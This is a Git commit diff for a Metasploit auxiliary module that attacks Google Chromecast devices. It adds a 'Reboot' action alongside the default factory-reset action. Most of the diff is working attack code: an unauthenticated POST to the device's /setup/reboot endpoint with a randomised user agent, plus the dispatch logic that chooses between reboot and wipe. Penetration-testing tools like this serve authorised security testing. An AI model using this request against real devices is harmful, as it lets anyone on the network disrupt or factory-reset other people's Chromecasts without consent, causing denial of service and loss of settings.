Land #7751, reboot action for chromecast_reset

bug/bundler_fix
William Vu 2016-12-25 15:22:13 -06:00
commit 76593371b1
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
1 changed files with 30 additions and 3 deletions

View File

@ -20,7 +20,12 @@ class MetasploitModule < Msf::Auxiliary
'References' => [
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'Actions' => [
['Reset', 'Description' => 'Factory reset'],
['Reboot', 'Description' => 'Reboot only']
],
'DefaultAction' => 'Reset'
))
register_options([
@ -29,10 +34,15 @@ class MetasploitModule < Msf::Auxiliary
end
def run
case action.name
when 'Reset'
res = reset
when 'Reboot'
res = reboot
end
if res && res.code == 200
print_good('Factory reset performed')
print_good("#{action.name} performed")
elsif res
print_error("An error occurred: #{res.code} #{res.message}")
end
@ -55,4 +65,21 @@ class MetasploitModule < Msf::Auxiliary
end
end
def reboot
begin
send_request_raw(
'method' => 'POST',
'uri' => '/setup/reboot',
'agent' => Rex::Text.rand_text_english(rand(42) + 1),
'ctype' => 'application/json',
'data' => '{"params": "now"}'
)
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable => e
fail_with(Failure::Unreachable, e)
ensure
disconnect
end
end
end